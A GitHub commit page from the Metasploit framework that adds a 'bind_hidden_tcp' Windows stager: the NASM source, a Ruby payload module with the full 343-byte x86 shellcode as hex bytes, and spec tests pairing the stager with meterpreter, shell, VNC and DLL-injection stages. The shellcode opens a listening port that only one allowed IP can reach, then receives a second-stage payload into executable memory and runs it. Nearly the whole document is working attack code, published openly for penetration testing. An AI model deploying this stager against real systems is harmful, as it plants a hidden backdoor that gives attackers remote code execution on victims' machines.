Skip to content

Commit 6c252e3

Browse files
committed
Land rapid7#3394, bind_hidden_tcp stager
2 parents 4164834 + 2035f60 commit 6c252e3

File tree

3 files changed

+168
-0
lines changed

3 files changed

+168
-0
lines changed
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (27 May 2014)
6+
; Size: 352 bytes
7+
; Build: >build.py stager_hidden_bind_tcp
8+
;-----------------------------------------------------------------------------;
9+
[BITS 32]
10+
[ORG 0]
11+
12+
cld ; Clear the direction flag.
13+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
14+
%include "./src/block/block_api.asm"
15+
start: ;
16+
pop ebp ; pop off the address of 'api_call' for calling later.
17+
%include "./src/block/block_hidden_bind_tcp.asm"
18+
; By here we will have performed the bind_tcp connection and EDI will be our socket.
19+
%include "./src/block/block_recv.asm"
20+
; By now we will have received in the second stage into a RWX buffer and be executing it
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
require 'msf/core/handler/bind_tcp'
9+
10+
11+
module Metasploit3
12+
13+
include Msf::Payload::Stager
14+
include Msf::Payload::Windows
15+
16+
17+
def self.handler_type_alias
18+
"bind_hidden_tcp"
19+
end
20+
21+
def initialize(info = {})
22+
super(merge_info(info,
23+
'Name' => 'Hidden Bind TCP Stager',
24+
'Description' => 'Listen for a connection from a hidden port and spawn a command shell to the allowed host',
25+
'Author' =>
26+
[
27+
'hdm', # original payload module (stager bind_tcp)
28+
'skape', # original payload module (stager bind_tcp)
29+
'sf', # original payload module (stager bind_tcp)
30+
'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],
34+
'Platform' => 'win',
35+
'Arch' => ARCH_X86,
36+
'Handler' => Msf::Handler::BindTcp,
37+
'Convention' => 'sockedi',
38+
'Stager' =>
39+
{
40+
'RequiresMidstager' => false,
41+
'Offsets' =>
42+
{
43+
'LPORT' => [ 193, 'n' ],
44+
'AHOST' => [ 255, 'ADDR' ]
45+
},
46+
'Payload' =>
47+
# Length: 343 bytes
48+
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
49+
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
50+
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
51+
"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
52+
"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
53+
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
54+
"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
55+
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
56+
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
57+
"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
58+
"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
59+
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
60+
"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
61+
"\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
62+
"\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
63+
"\x17\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
64+
"\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2\x20\x00\x53\x53\x57\x68\x94" +
65+
"\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
66+
"\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
67+
"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
68+
"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
69+
"\x01\xc3\x29\xc6\x75\xee\xc3"
70+
}
71+
))
72+
73+
register_options([
74+
OptAddress.new('AHOST', [true, "IP address allowed", nil])
75+
])
76+
end
77+
78+
end

spec/modules/payloads_spec.rb

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3255,4 +3255,74 @@
32553255
modules_pathname: modules_pathname,
32563256
reference_name: 'windows/x64/vncinject/reverse_tcp'
32573257
end
3258+
3259+
context 'windows/dllinject/bind_hidden_tcp' do
3260+
it_should_behave_like 'payload can be instantiated',
3261+
ancestor_reference_names: [
3262+
'stagers/windows/bind_hidden_tcp',
3263+
'stages/windows/dllinject'
3264+
],
3265+
modules_pathname: modules_pathname,
3266+
reference_name: 'windows/dllinject/bind_hidden_tcp'
3267+
end
3268+
3269+
context 'windows/meterpreter/bind_hidden_tcp' do
3270+
it_should_behave_like 'payload can be instantiated',
3271+
ancestor_reference_names: [
3272+
'stagers/windows/bind_hidden_tcp',
3273+
'stages/windows/meterpreter'
3274+
],
3275+
modules_pathname: modules_pathname,
3276+
reference_name: 'windows/meterpreter/bind_hidden_tcp'
3277+
end
3278+
3279+
context 'windows/patchupdllinject/bind_hidden_tcp' do
3280+
it_should_behave_like 'payload can be instantiated',
3281+
ancestor_reference_names: [
3282+
'stagers/windows/bind_hidden_tcp',
3283+
'stages/windows/patchupdllinject'
3284+
],
3285+
modules_pathname: modules_pathname,
3286+
reference_name: 'windows/patchupdllinject/bind_hidden_tcp'
3287+
end
3288+
3289+
context 'windows/patchupmeterpreter/bind_hidden_tcp' do
3290+
it_should_behave_like 'payload can be instantiated',
3291+
ancestor_reference_names: [
3292+
'stagers/windows/bind_hidden_tcp',
3293+
'stages/windows/patchupmeterpreter'
3294+
],
3295+
modules_pathname: modules_pathname,
3296+
reference_name: 'windows/patchupmeterpreter/bind_hidden_tcp'
3297+
end
3298+
3299+
context 'windows/shell/bind_hidden_tcp' do
3300+
it_should_behave_like 'payload can be instantiated',
3301+
ancestor_reference_names: [
3302+
'stagers/windows/bind_hidden_tcp',
3303+
'stages/windows/shell'
3304+
],
3305+
modules_pathname: modules_pathname,
3306+
reference_name: 'windows/shell/bind_hidden_tcp'
3307+
end
3308+
3309+
context 'windows/upexec/bind_hidden_tcp' do
3310+
it_should_behave_like 'payload can be instantiated',
3311+
ancestor_reference_names: [
3312+
'stagers/windows/bind_hidden_tcp',
3313+
'stages/windows/upexec'
3314+
],
3315+
modules_pathname: modules_pathname,
3316+
reference_name: 'windows/upexec/bind_hidden_tcp'
3317+
end
3318+
3319+
context 'windows/vncinject/bind_hidden_tcp' do
3320+
it_should_behave_like 'payload can be instantiated',
3321+
ancestor_reference_names: [
3322+
'stagers/windows/bind_hidden_tcp',
3323+
'stages/windows/vncinject'
3324+
],
3325+
modules_pathname: modules_pathname,
3326+
reference_name: 'windows/vncinject/bind_hidden_tcp'
3327+
end
32583328
end

0 commit comments

Comments
 (0)